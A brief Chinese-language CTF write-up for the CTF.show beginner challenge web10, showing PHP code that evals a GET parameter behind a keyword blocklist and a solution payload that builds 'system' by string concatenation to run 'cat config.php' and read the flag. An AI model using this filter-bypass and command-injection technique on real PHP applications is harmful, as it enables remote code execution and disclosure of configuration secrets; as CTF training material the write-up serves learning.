1. 程式人生 > 其它 >CTF.show:萌新:web10

CTF.show:萌新:web10

技術標籤:CTF.showCTF_Web_Writeup

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}
else{ highlight_file(__FILE__); } ?>

這題跟上一題相反,把這幾個函式禁用了。
構造

?c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');

flag在右鍵原始碼裡
在這裡插入圖片描述